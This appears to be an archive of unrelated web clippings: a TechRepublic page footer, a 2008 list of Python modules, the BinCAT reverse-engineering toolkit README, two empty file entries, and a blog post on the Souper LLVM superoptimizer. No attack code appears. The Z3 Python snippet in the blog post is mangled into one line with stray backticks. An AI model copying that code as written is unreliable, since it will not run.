  * How to install MySQL on CentOS 7 \(TechRepublic\)
  * How to install Packetfence on CentOS 7 \(TechRepublic\)
  * New Linux 'Mutagen Astronomy' security flaw impacts Red Hat and CentOS distros \(ZDNet\)
  * Online security 101: Tips for protecting your privacy from hackers and spies \(ZDNet\)
  * The best password managers of 2019 \(CNET\)
  * Cybersecurity and cyberwar: More must-read coverage \(TechRepublic on Flipboard\)

<img src='img/centoshero.jpg' width='770' height='602' />

Image: CentOS

##  White Papers, Webcasts, and Downloads

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='paperclip js-evernote-checked' data-evernote-id='213'%3e %3cg%3e%3cpath d='M21.586 10.461l-10.05 10.075c-1.95 1.949-5.122 1.949-7.071 0s-1.95-5.122 0-7.072l10.628-10.585c1.17-1.17 3.073-1.17 4.243 0 1.169 1.17 1.17 3.072 0 4.242l-8.507 8.464c-.39.39-1.024.39-1.414 0s-.39-1.024 0-1.414l7.093-7.05-1.415-1.414-7.093 7.049c-1.172 1.172-1.171 3.073 0 4.244s3.071 1.171 4.242 0l8.507-8.464c.977-.977 1.464-2.256 1.464-3.536 0-2.769-2.246-4.999-5-4.999-1.28 0-2.559.488-3.536 1.465l-10.627 10.583c-1.366 1.368-2.05 3.159-2.05 4.951 0 3.863 3.13 7 7 7 1.792 0 3.583-.684 4.95-2.05l10.05-10.075-1.414-1.414z'%3e%3c/path%3e%3c/g%3e %3c/svg%3e' />
### NetScout: DDos Attack Trends Report

White Papers from NetScout Systems

Find Out More

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='paperclip js-evernote-checked' data-evernote-id='214'%3e %3c/svg%3e' />
### NetScout: How to Analyze and Reduce the Risk of DDoS Attacks

White Papers from NetScout Systems

Get Started

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='play_alt js-evernote-checked' data-evernote-id='215'%3e %3cuse xlink:href='%23play_alt'%3e%3c/use%3e %3c/svg%3e' />
### IBM's Db2 in a Multi-Cloud World - The Data Layer

Webcasts from IBM

Find Out More

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='play_alt js-evernote-checked' data-evernote-id='216'%3e %3cuse xlink:href='%23play_alt'%3e%3c/use%3e %3c/svg%3e' />
### Webcast: IBM's Db2 in a Multi-Cloud World - The Data Layer

Webcasts from IBM

Learn More

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='paperclip js-evernote-checked' data-evernote-id='217'%3e %3c/svg%3e' />
### IBM Cloud for VMware Solutions: Bringing VMware Environments to the Public
Cloud

White Papers from IBM

Download Now

##  RECOMMENDED FOR YOU

IDC: A Thinking Supply Chain Can Set Your Business Apart

White Papers provided by IBM

Continue

<img src='img/0.18003734082653233' width='1' height='1' />

##  Editor's Picks

  * <img src='img/pihero2.jpg' width='270' height='203' />
### Inside the Raspberry Pi: The story of the $35 computer that changed the
world

  * <img src='img/deere-10-2.jpg' width='270' height='203' />
### How self-driving tractors, AI, and precision agriculture will save us from
the impending food crisis

  * <img src='img/istockphoto-jiraroj-praditcharoenkul-861736076.jpg' width='270' height='203' />
### Smart farming: How IoT, robotics, and AI are tackling one of the biggest
problems of the century

  * <img src='img/farmtech011618-still002-2.jpg' width='270' height='203' />
### Agriculture 4.0: How digital farming is revolutionizing the future of food

  * <img src='img/city-of-london.jpg' width='270' height='203' />
### The Brexit dilemma: Will London's start-ups stay or go?

  * <img src='img/russianflagheroarticleistock470782316adrianhancu-1.jpg' width='270' height='203' />
### Can Russian hackers be stopped? Here's why it might take 20 years

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='comment-bubble js-evernote-checked' data-evernote-id='218'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='facebook js-evernote-checked' data-evernote-id='219'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='twitter js-evernote-checked' data-evernote-id='220'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='linkedin js-evernote-checked' data-evernote-id='221'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='email js-evernote-checked' data-evernote-id='222'%3e%3c/svg%3e' />

Comment & share this story

<img src='img/5343_jackwallenmay2018.jpg' width='125' height='125' />

### By Jack Wallen

Jack Wallen is an award-winning writer for TechRepublic and Linux.com. He’s an
avid promoter of open source and the voice of The Android Expert. For more
news about Jack Wallen, visit his website jackwallen.com.

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='twitter js-evernote-checked' data-evernote-id='223'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='email js-evernote-checked' data-evernote-id='224'%3e%3c/svg%3e' />
  * | Full Bio 
  * | See all content by Jack 

Security  Open Source  Software  CXO  Hardware  Mobility  Data Centers
Security on ZDNet <img src='data:image/svg+xml,%3csvg
xmlns='http://www.w3.org/2000/svg' class='arrow-alt js-evernote-checked' data-
evernote-id='225'%3e%3cpath d='M14 18l10-7.088-10-6.912v3.042s-11.618 2.583-14
12.958c5.072-5.431 14-5.218 14-5.218v3.218z'%3e%3c/path%3e%3c/svg%3e' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='comment-bubble js-evernote-checked' data-evernote-
id='226'%3e%3c/svg%3e' /> Show Comments

##  Editor's Picks

  * <img src='img/pihero2.jpg' width='270' height='203' />
### Inside the Raspberry Pi: The story of the $35 computer that changed the
world

  * <img src='img/deere-10-2.jpg' width='270' height='203' />
### How self-driving tractors, AI, and precision agriculture will save us from
the impending food crisis

  * <img src='img/istockphoto-jiraroj-praditcharoenkul-861736076.jpg' width='270' height='203' />
### Smart farming: How IoT, robotics, and AI are tackling one of the biggest
problems of the century

  * <img src='img/farmtech011618-still002-2.jpg' width='270' height='203' />
### Agriculture 4.0: How digital farming is revolutionizing the future of food

Recommended Content:

White Papers: Transform and Optimize Your Business Network with AI

Some technologies cause ripples, others cause waves of transformation and
disruption. Today, we're seeing a new wave of highly transformative and
potentially disruptive technologies, including artificial intelligence \(AI\),
blockchain and the of Of...

Continue

<img src='img/0.18003734082653233' width='1' height='1' />

## White Papers, Webcasts, and Downloads

  * ###  ADP RUN Payroll vs. Top Alternatives―Competitive Report 
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='paperclip js-evernote-checked' data-evernote-id='227'%3e %3c/svg%3e' />
Downloads From  Select Hub

Download Now

  * ###  Top Supply Chain Management Software for 2018 
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='paperclip js-evernote-checked' data-evernote-id='228'%3e %3c/svg%3e' />
Downloads From  Select Hub

Continue

  * ###  Find, analyze, and optimize database performance problems. 
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='paperclip js-evernote-checked' data-evernote-id='229'%3e %3c/svg%3e' />
Downloads From  SolarWinds

Download Now

  * ###  IP address management meets device tracking 
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='paperclip js-evernote-checked' data-evernote-id='230'%3e %3c/svg%3e' />
Downloads From  SolarWinds

Download Now

## Latest From Tech Pro Research

<img src='data:image/svg+xml,%3csvg width='1792' height='1792' viewBox='0 0
1792 1792' xmlns='http://www.w3.org/2000/svg' data-evernote-id='231'
class='js-evernote-checked'%3e%3cpath d='M1703 478q40 57 18 129l-275 906q-19
64-76.5 107.5t-122.5 43.5h-923q-77 0-148.5-53.5t-99.5-131.5q-24-67-2-127 0-4
3-27t4-37q1-8-3-21.5t-3-19.5q2-11 8-21t16.5-23.5 16.5-23.5q23-38
45-91.5t30-91.5q3-10 .5-30t-.5-28q3-11 17-28t17-23q21-36
42-92t25-90q1-9-2.5-32t.5-28q4-13 22-30.5t22-22.5q19-26
42.5-84.5t27.5-96.5q1-8-3-25.5t-2-26.5q2-8 9-18t18-23 17-21q8-12
16.5-30.5t15-35 16-36 19.5-32 26.5-23.5 36-11.5 47.5 5.5l-1 3q38-9 51-9h761q74
0 114 56t18 130l-274 906q-36 119-71.5 153.5t-128.5 34.5h-869q-27 0-38 15-11
16-1 43 24 70 144 70h923q29 0 56-15.5t35-41.5l300-987q7-22 5-57 38 15 59
43zm-1064 2q-4 13 2 22.5t20 9.5h608q13 0
25.5-9.5t16.5-22.5l21-64q4-13-2-22.5t-20-9.5h-608q-13 0-25.5 9.5t-16.5
22.5zm-83 256q-4 13 2 22.5t20 9.5h608q13 0
25.5-9.5t16.5-22.5l21-64q4-13-2-22.5t-20-9.5h-608q-13 0-25.5 9.5t-16.5
22.5z'%3e%3c/path%3e%3c/svg%3e' />

Serverless computing: A guide for IT leaders

<img src='data:image/svg+xml,%3csvg width='1792' height='1792' viewBox='0 0
1792 1792' xmlns='http://www.w3.org/2000/svg' data-evernote-id='232'
class='js-evernote-checked'%3e%3cpath d='M448 1472q0-26-19-45t-45-19-45 19-19
45 19 45 45 19 45-19 19-45zm644-420l-682 682q-37 37-90 37-52
0-91-37l-106-108q-38-36-38-90 0-53 38-91l681-681q39 98 114.5 173.5t173.5
114.5zm634-435q0 39-23 106-47 134-164.5 217.5t-258.5 83.5q-185
0-316.5-131.5t-131.5-316.5 131.5-316.5 316.5-131.5q58 0 121.5 16.5t107.5
46.5q16 11 16 28t-16 28l-293 169v224l193 107q5-3 79-48.5t135.5-81 70.5-35.5q15
0 23.5 10t8.5 25z'%3e%3c/path%3e%3c/svg%3e' />

Personnel screening policy

<img src='data:image/svg+xml,%3csvg width='1792' height='1792' viewBox='0 0
1792 1792' xmlns='http://www.w3.org/2000/svg' data-evernote-id='233'
class='js-evernote-checked'%3e%3cpath d='M1344 1344q0-26-19-45t-45-19-45 19-19
45 19 45 45 19 45-19 19-45zm256 0q0-26-19-45t-45-19-45 19-19 45 19 45 45 19
45-19 19-45zm128-224v320q0 40-28 68t-68 28h-1472q-40 0-68-28t-28-68v-320q0-40
28-68t68-28h465l135 136q58 56 136 56t136-56l136-136h464q40 0 68 28t28
68zm-325-569q17 41-14 70l-448 448q-18 19-45 19t-45-19l-448-448q-31-29-14-70
17-39 59-39h256v-448q0-26 19-45t45-19h256q26 0 45 19t19 45v448h256q42 0 59
39z'%3e%3c/path%3e%3c/svg%3e' />

Research: Why Industrial IoT deployments are on the rise

<img src='data:image/svg+xml,%3csvg width='1792' height='1792' viewBox='0 0
1792 1792' xmlns='http://www.w3.org/2000/svg' data-evernote-id='234'
class='js-evernote-checked'%3e%3cpath d='M1344 1344q0-26-19-45t-45-19-45 19-19
45 19 45 45 19 45-19 19-45zm256 0q0-26-19-45t-45-19-45 19-19 45 19 45 45 19
45-19 19-45zm128-224v320q0 40-28 68t-68 28h-1472q-40 0-68-28t-28-68v-320q0-40
28-68t68-28h465l135 136q58 56 136 56t136-56l136-136h464q40 0 68 28t28
68zm-325-569q17 41-14 70l-448 448q-18 19-45 19t-45-19l-448-448q-31-29-14-70
17-39 59-39h256v-448q0-26 19-45t45-19h256q26 0 45 19t19 45v448h256q42 0 59
39z'%3e%3c/path%3e%3c/svg%3e' />

Kubernetes: A guide for IT pros and business leaders

## Services

  * About Us
  * Membership
  * Newsletters
  * RSS Feeds
  * Site Map

  * Site Help & Feedback
  * FAQ
  * Advertise
  * Reprint Policy

## Explore

  * Blogs
  * Downloads
  * TechRepublic Forums
  * Meet the Team
  * TechRepublic Academy

  * Tech Pro Research
  * Resource Library
  * Photos
  * Videos

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' data-evernote-id='235' class='js-evernote-
checked'%3e%3cpath d='M4 24h-2v-24h2v24zm18-21.387s-1.621 1.43-3.754
1.43c-3.36 0-3.436-2.895-7.337-2.895-2.108 0-4.075.98-4.909
1.694v12.085c1.184-.819 2.979-1.681 4.923-1.681 3.684 0 4.201 2.754 7.484
2.754 2.122 0 3.593-1.359 3.593-1.359v-12.028z'%3e%3c/path%3e%3c/svg%3e' />
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
id='twitter' viewBox='0 0 32.5 28.4' data-evernote-id='236' class='js-
evernote-checked'%3e%3cpath
d='M32.5%2c3.4c-0.5%2c0.3-2.2%2c1-3.7%2c1.1c1-0.6%2c2.4-2.4%2c2.8-3.9c-0.9%2c0.6-3.1%2c1.6-4.2%2c1.6c0%2c0%2c0%2c0%2c0%2c0
C26.1%2c0.9%2c24.4%2c0%2c22.5%2c0c-3.7%2c0-6.7%2c3.2-6.7%2c7.2c0%2c0.6%2c0.1%2c1.1%2c0.2%2c1.6h0C11%2c8.7%2c5.1%2c6%2c1.8%2c1.3c-2%2c3.8-0.3%2c8%2c2%2c9.5
c-0.8%2c0.1-2.2-0.1-2.9-0.8c0%2c2.5%2c1.1%2c5.8%2c5.2%2c7c-0.8%2c0.5-2.2%2c0.3-2.8%2c0.2c0.2%2c2.1%2c3%2c4.9%2c6%2c4.9c-1.1%2c1.3-4.7%2c3.8-9.3%2c3
c3.1%2c2%2c6.7%2c3.2%2c10.5%2c3.2c10.8%2c0%2c19.2-9.4%2c18.7-21.1c0%2c0%2c0%2c0%2c0%2c0c0%2c0%2c0-0.1%2c0-0.1c0%2c0%2c0-0.1%2c0-0.1C30.2%2c6.4%2c31.5%2c5.1%2c32.5%2c3.4z'%3e%3c/path%3e%3c/svg%3e'
/> <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
id='facebook' viewBox='0 0 15.2 32' data-evernote-id='237' class='js-evernote-
checked'%3e%3cpath
d='M15.2%2c11.1H9.6V7c0-1.2%2c1.3-1.5%2c1.9-1.5c0.6%2c0%2c3.6%2c0%2c3.6%2c0V0L11%2c0C5.4%2c0%2c4.1%2c4.1%2c4.1%2c6.7v4.4H0v5.6h4.1
c0%2c7.3%2c0%2c15.2%2c0%2c15.2h5.5c0%2c0%2c0-8.1%2c0-15.2h4.7L15.2%2c11.1z'%3e%3c/path%3e%3c/svg%3e'
/> <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
id='linkedin' viewBox='0 0 31.9 32' data-evernote-id='238' class='js-evernote-
checked'%3e%3cpath
d='M24%2c8c-5.1%2c0.1-7.7%2c3.8-8%2c4V8h-6v24h6V18c0-0.5%2c1.3-4.6%2c6-4c2.5%2c0.2%2c3.9%2c3.5%2c4%2c4v14l6%2c0V15.4
C31.7%2c13%2c30.5%2c8.1%2c24%2c8z M0%2c32h6V8H0V32z
M3%2c0C1.3%2c0%2c0%2c1.3%2c0%2c3s1.3%2c3%2c3%2c3c1.7%2c0%2c3-1.3%2c3-3S4.7%2c0%2c3%2c0z'%3e%3c/path%3e%3c/svg%3e'
/> <img src='data:image/svg+xml,%3csvg id='flipboard' data-name='flipboard'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 500 500' data-evernote-
id='239' class='js-evernote-checked'%3e%3cpath class='cls-1'
d='M0%2c0V500H500V0ZM400%2c200H300V300H200V400H100V100H400Z'%3e%3c/path%3e%3c/svg%3e'
/>

© 2019 CBS Interactive. All rights reserved. Privacy Policy | Cookies | Ad Choice | Terms of Use | Mobile User Agreement
A ZDNet site | 
Visit other CBS Interactive sites:

# Python: 50 modules for all needs | CatsWhoCode.com
**Created:**| _5/15/2011 7:39:34 PM_  
---|---  
**Updated:**| _5/15/2011 7:39:34 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

## Python: 50 modules for all needs

Published on June 11th, 2008 by Jean-Baptiste Jung. 45 Comments -

One thing I really love with the Python programming language is its incredible
extensibility. Here’s a list of 50 awesome modules for Python, covering almost
all needs: Databases, GUIs, Images, Sound, OS interaction, Web, and more.

Graphical interface| wxPython| http://wxpython.org|  
---|---|---|---  
Graphical interface| pyGtk| http://www.pygtk.org|  
Graphical interface| pyQT| http://www.riverbankcomputing.co.uk/pyqt/|  
Graphical interface| Pmw| http://pmw.sourceforge.net/|  
Graphical interface| Tkinter 3000| http://effbot.org/zone/wck.htm|  
Graphical interface| Tix| http://tix.sourceforge.net/|  
| | |   
Database| MySQLdb| http://sourceforge.net/projects/mysql-python|  
Database| PyGreSQL| http://www.pygresql.org/|  
Database| Gadfly| http://gadfly.sourceforge.net/|  
Database| SQLAlchemy| http://www.sqlalchemy.org/|  
Database| psycopg| http://www.initd.org/pub/software/psycopg/|  
Database| kinterbasdb| http://kinterbasdb.sourceforge.net/|  
Database| cx\_Oracle| http://www.cxtools.net/default.aspx?nav=downloads|  
Database| pySQLite| http://initd.org/tracker/pysqlite|  
| | |   
MSN Messenger| msnlib| http://auriga.wearlab.de/~alb/msnlib/|  
MSN Messenger| pymsn| http://telepathy.freedesktop.org/wiki/Pymsn|  
MSN Messenger| msnp| http://msnp.sourceforge.net/|  
Network| Twisted| http://twistedmatrix.com/|  
Images| PIL| http://www.pythonware.com/products/pil/|  
Images| gdmodule| http://newcenturycomputers.net/projects/gdmodule.html|  
Images| VideoCapture| http://videocapture.sourceforge.net/|  
| | |   
Sciences and Maths| scipy| http://www.scipy.org/|  
Sciences and Maths| NumPy| http://numpy.scipy.org//|  
Sciences and Maths| numarray|
http://www.stsci.edu/resources/software\_hardware/numarray|  
Sciences and Maths| matplotlib| http://matplotlib.sourceforge.net/|  
| | |   
Games| Pygame| http://www.pygame.org/news.html|  
Games| Pyglet| http://www.pyglet.org/|  
Games| PySoy| http://www.pysoy.org/|  
Games| pyOpenGL| http://pyopengl.sourceforge.net/|  
| | |   
Jabber| jabberpy| http://jabberpy.sourceforge.net/|  
| | |   
Web| scrape| http://zesty.ca/python/scrape.html|  
Web| Beautiful Soup| http://crummy.com/software/BeautifulSoup|  
Web| pythonweb| http://www.pythonweb.org/|  
Web| mechanize| http://wwwsearch.sourceforge.net/mechanize/|  
| | |   
Localisation| geoname.py| http://www.zindep.com/blog-zindep/Geoname-python/|  
| | |   
Serial port| pySerial| http://pyserial.sourceforge.net/|  
Serial port| USPP| http://ibarona.googlepages.com/uspp|  
| | |   
Parallel Port| pyParallel| http://pyserial.sourceforge.net/pyparallel.html|  
| | |   
USB Port| pyUSB| http://bleyer.org/pyusb/|  
| | |   
Windows| ctypes| http://starship.python.net/crew/theller/ctypes/|  
Windows| pywin32| http://sourceforge.net/projects/pywin32/|  
Windows| pywinauto| http://www.openqa.org/pywinauto/|  
Windows| pyrtf| http://pyrtf.sourceforge.net/|  
Windows| wmi| http://timgolden.me.uk/python/wmi.html|  
| | |   
PDA/GSM/Mobiles| pymo| http://www.awaretek.com/pymo.html|  
PDA/GSM/Mobiles| pyS60| http://sourceforge.net/projects/pys60|  
| | |   
Sound| pySoundic| http://pysonic.sourceforge.net/|  
Sound| pyMedia| http://pymedia.org/|  
Sound| FMOD| http://www.fmod.org/|  
Sound| pyMIDI| http://www.cs.unc.edu/Research/assist/developer.shtml|  
| | |   
GMail| libgmail| http://libgmail.sourceforge.net/|  
Google| pyGoogle| http://pygoogle.sourceforge.net/|  
Expect| pyExpect| http://pexpect.sourceforge.net/|  
WordNet| pyWordNet| http://osteele.com/projects/pywordnet/|  
Command line| cmd| http://blog.doughellmann.com/2008/05/pymotw-cmd.html|  
Compiler backend| llvm-py| http://mdevan.nfshost.com/llvm-py/|  
3D| VPython| http://vpython.org|  
Any other modules we should include in the list? Leave us a comment\!  
Into Python? Be sure to check out this article\!

# airbus-seclab/bincat

**Created:**| _3/2/2019 6:35:03 PM_  
---|---  
**Updated:**| _3/2/2019 6:35:03 PM_  
**Author:**| _wishi_  
**Tags:**| _iDA reversing_  
  

  

## Introduction

### What is BinCAT?

BinCAT is a _static_ Binary Code Analysis Toolkit, designed to help reverse
engineers, directly from IDA or using Python for automation.

It features:

  * value analysis \(registers and memory\)
  * taint analysis
  * type reconstruction and propagation
  * backward and forward analysis
  * use-after-free and double-free detection

### In action

You can check \(an older version of\) BinCAT in action here:

  * Basic analysis
  * Using data tainting

Check the tutorial out to see the corresponding tasks.

### Quick FAQ

Supported host platforms:

  * IDA plugin: all, version **7.0 or later** \(BinCAT uses PyQt, not PySide\)
  * analyzer \(local or remote\): Linux, Windows, macOS \(maybe\)

Supported CPU for analysis \(for now\):

  * x86-32
  * x86-64
  * ARMv7
  * ARMv8
  * PowerPC

## Installation

**Only IDA v7 or later is supported**

v6.9 may work, but we won't support it.

### Binary distribution install \(recommended\)

The binary distribution includes everything needed:

  * the analyzer
  * the IDA plugin

Install steps:

  * Extract the binary distribution of BinCAT \(not the git repo\)
  * In IDA, click on "File -> Script File..." menu \(or type ALT-F7\)
  * Select `install_plugin.py`
  * BinCAT is now installed in your IDA user dir
  * Restart IDA

### Manual installation

#### Analyzer

The analyzer can be used locally or through a Web service.

On Linux:

  * Using Docker: Docker installation instructions
  * Manual: build and installation instructions

On Windows:

  * build instructions

#### IDA Plugin

  * Windows manual install.
  * Linux manual install

BinCAT should work with IDA on Wine, once pip is installed:

  * download https://bootstrap.pypa.io/get-pip.py \(verify it's good ;\)
  * `~/.wine/drive_c/Python27/python.exe get-pip.py`

## Using BinCAT

### Quick start

  * Load the plugin by using the `Ctrl-Shift-B` shortcut, or using the `Edit -> Plugins -> BinCAT` menu
  * Go to the instruction where you want to start the analysis
  * Select the `BinCAT Configuration` pane, click `<-- Current` to define the start address
  * Launch the analysis

### Configuration

Global options can be configured through the `Edit/BinCAT/Options` menu.

Default config and options are stored in `$IDAUSR/idabincat/conf`.

#### Options

  * "Use remote bincat": select if you are running docker in a Docker container
  * "Remote URL": http://localhost:5000 \(or the URL of a remote BinCAT server\)
  * "Autostart": autoload BinCAT at IDA startup
  * "Save to IDB": default state for the `save to idb` checkbox

## Documentation

A manual is provided and check here for a description of the configuration
file format.

A tutorial is provided to help you try BinCAT's features.

## Article and presentations about BinCAT

  * SSTIC 2017, Rennes, France: article \(english\), slides \(french\), video of the presentation \(french\)
  * REcon 2017, Montreal, Canada: slides, video

## Licenses

BinCAT is released under the GNU Affero General Public Licence.

The BinCAT OCaml code includes code from the original Ocaml runtime, released
under the LGPLv2.

The BinCAT IDA plugin includes code from python-pyqt5-hexview by Willi
Ballenthin, released under the Apache License 2.0.

BinCAT includes a modified copy of newspeak.

  

# rijndael\_ingles2004.swf \(application/x-shockwave-flash Object\)

**Created:**| _1/11/2012 9:26:33 AM_  
---|---  
**Updated:**| _1/11/2012 9:26:33 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

<img
src='http://www.cs.bc.edu/~straubin/cs381-05/blockciphers/rijndael_ingles2004.swf'
width='100%' height='100%' />

# bluesniff\_slides.pdf \(application/pdf-Objekt\)

**Created:**| _8/3/2010 7:59:49 AM_  
---|---  
**Updated:**| _8/3/2010 7:59:49 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark research USRP_  
  

# Embedded in Academia : Early Superoptimizer Results

**Created:**| _5/12/2014 11:22:47 AM_  
---|---  
**Updated:**| _5/12/2014 11:22:47 AM_  
**Author:**| __  
**Tags:**| _SMT math logic_  
  

# Early Superoptimizer Results

\[Here's a shortcut to the results. But it would be best to read the post
first.\]

Following my previous superoptimizer post, my student Jubi and I were getting
up to speed on the prerequisites — SMT solvers, LLVM internals, etc. — when
Googler Peter Collingbourne contacted me saying that he had recently gotten a
superoptimizer up and running and might I be interested in working with him on
it? I read his code and found it to be charmingly clear and simple. Also, one
of my basic principles in doing research is to avoid competing, since
competition wastes resources and burns students because the resulting race to
publication effectively has an arbitrary winner. So I immediately started
feeding bug reports to Peter.

The new superoptimizer, Souper, makes a few simplifying assumptions:

  * The only optimization candidates that it considers are the true and false values. Therefore, at present Souper only harvests expressions that compute an i1: a one-bit integer, which is how Booleans are represented in LLVM. Thus, the result of a Souper run is a collection of expressions that LLVM could have — but did not — evaluate to either true or false. 
  * It doesn’t yet have models for all instructions or for all undefined behaviors for the instructions it does support. 

These assumptions need to be relaxed. One generalization that should be pretty
easy is to harvest expressions that end up as integers of arbitrary width. The
interesting thing about this is that we cannot take time to check if every
harvested expression evaluates to, for example, every possible value that an
i32 can take. What we will do instead is to ask the SMT solver to synthesize
the equivalent constant. The problem is that by default, when we make an
equivalence query to an SMT solver, it is an unsat result that signals
equivalence, and unsat doesn’t come with a model — it indicates failure to
find a model. It turns out there’s a cute trick \(which I learned from Nuno
Lopes\) involving a quantifier which flips a query around such that an
equivalence results in sat, and therefore a model, from which we can pluck the
synthesized constant. Consider this Z3/Python code where we’re asking, for a
variety of constants c, how to express i\*c \(where i is an integer variable\)
in the form i<<x + i<<y + i<<z:

| `from` `z3 ``import` `*``s ``=` `Solver()``def` `checkit (c):``s.push()``i,
x, y, z ``=` `BitVecs(``'i x y z'``,``32``)``q ``=` `ForAll (i, i``*``c
``=``=` `((i<<x) ``+` `(i<<y) ``+` `(i<<z)))``s.add(q)``s.add(x>``=``0``,
x<``32``)``s.add(y>``=``0``, y<``32``)``s.add(z>``=``0``, z<``32``)``if`
`s.check() ``=``=` `sat:``m ``=` `s.model()``print` `(``"i * "` `+` `str``(c)
``+``" == i<<"` `+` `str``(m.evaluate(x)) ``+``" + i<<"` `+`
`str``(m.evaluate(y)) ``+``" + i<<"` `+`
`str``(m.evaluate(z)))``else``:``print` `"i * "` `+` `str``(c) ``+` `" has no
model"``s.pop()``for` `m ``in` `range``(``100``):``checkit(m)`  
---|---  
This is just an example but it’s the kind of thing that might make sense on a
small embedded processor where the integer multiply instruction is expensive
or doesn’t exist. The results include:

[code]

    **i * 28 == i <<4 + i<<3 + i<<2
    i * 29 has no model
    i * 30 has no model
    i * 31 has no model
    i * 32 == i<<4 + i<<3 + i<<3
    i * 33 == i<<4 + i<<4 + i<<0
    **
[/code]

The full set of results is here. I particularly enjoyed the solver's solutions
for the first three cases. So we know that the synthesis part of a
superoptimizer is possible and in fact probably not all that difficult. But
that's a digression that we'll return to in a later post; let's get back to
the main topic.

Now I'll show you how to read Souper's output. You may find it useful to keep
the LLVM instruction set reference handy. Here's an optimization report:

[code]

    **%0:i32 = var 
    %1:i32 = mul 4294967294:i32, %0
    %2:i1 = eq 1:i32, %1
    cand %2 0:i1**
[/code]

The first line tells us that %0 has type i32 -- a 32-bit integer --
corresponding to a signed or unsigned int in C/C++, and that it is a variable:
an input to the superoptimized code that may hold any value. Reasoning about
any-valued variables is hard but solvers are good at it and that is the entire
point of the superoptimizer.

The second line tells us that %1 is a new i32 computed by multiplying %0 by
-2. The third line tells us that %2 is a new i1 -- a Boolean or 1-bit integer
-- computed by seeing if %1 is equal to 1. The last line, starting with
"cand", is Souper telling us that it believes %2 will always take the value 0.
If Souper tells us this when running on optimized code, it has found a missed
optimization. In this case LLVM has missed the fact that multiplying an
arbitrary value by an even number can never result in an odd number. Is this a
useful optimization to implement in LLVM? I don't know, but GCC does it, see
the bottom of this page.

Souper finds many missed optimizations that fit this general pattern:

[code]

    **%0:i32 = var 
    %1:i64 = sext %0
    %2:i64 = sdiv 2036854775807:i64, %1
    %3:i1 = ne 0:i64, %2
    cand %3 1:i1**
[/code]

Here the observation is that if we divide a large constant by an arbitrary
32-bit value, the result cannot be zero. GCC does not find this one.

Some Souper output contains path constraints:

[code]

    **%0:i32 = var 
    %1:i1 = eq 0:i32, %0
    pc %1 1:i1
    %2:i32 = addnsw 1:i32, %0
    %3:i1 = slt %2, 2:i32
    cand %3 1:i1**
[/code]

Here, at line 3, we learn that %1 must take the value 1 in the remaining code
due to a path constraint. In the original LLVM code there was a conditional
branch exiting if %1 had the value 0. Since %1 has the value 1, we can infer,
in the remaining code, that %0 contains 0. Thus, %2 contains 1 and the
expression %2 < 2 must evaluate to true.

Finally, this charming example exploits the fact that if the product of two
numbers is not zero, then neither of the numbers could have been zero:

[code]

    **%0:i32 = var 
    %1:i32 = var 
    %2:i32 = mul %0, %1
    %3:i1 = eq 0:i32, %2
    pc %3 0:i1
    %4:i1 = eq 0:i32, %0
    cand %4 0:i1**
[/code]

One more thing that you might see in the full set of results is an entry like
this: `%0 = block`. This means \(more or less\) that %0 is a value that is
going to pass through the code to a phi node without being otherwise used,
this is useful for increasing Souper's precision.

I think that's about all you need to know in order to read the full set of
results from a couple days of running Csmith, Souper, and C-Reduce in a loop.
First, we wait for Souper to find a missed optimization and then second, we
find a minimal C program that exhibits the missed optimization. The results
have been ranked in a way that attempts to push more similar results \(that
are more likely to be duplicates\) lower in the list.

So far, the most common pattern that comes out of Souper's findings is that
LLVM needs an integer range analysis. Such an analysis would also help
eliminate integer overflow checks, one of my hobby horses. LLVM also doesn't
always propagate information that would be best represented at the bit level,
such as the even/odd distinction required for the first optimization that I
discussed. Finally, LLVM does not always learn from branches. My not-
necessarily-educated guess is that all of this is a symptom of LLVM's heavy
reliance on the instruction combiner, which is not so much an optimization
pass as a loose federation of a few hundred peephole passes.

Some of the missing LLVM optimizations won't be hard to implement for people
have passable C++ and who have spent some time becoming familiar with the
instruction combiner. But here are a few things we need to keep in mind:

  * One might ask: Does it make sense to harvest missed optimizations from randomly generated code? My initial idea was that since Csmith's programs are free from undefined behaviors, the resulting optimizations would be less likely to be evil exploitation of undefined behaviors. But also I did it because it was easy and I was curious what the results would look like. My judgement is the the results are interesting enough to deserve a blog post. Perhaps an easier way to avoid exploiting undefined behavior would be to add a command line option telling Souper to avoid exploiting undefined behaviors.
  * For each missed optimization we should do a cost/benefit analysis. The cost of implementing a new optimization is making LLVM a bit bigger and a bit more likely to contain a bug. The benefit is potential speedup of code that contains the idioms.
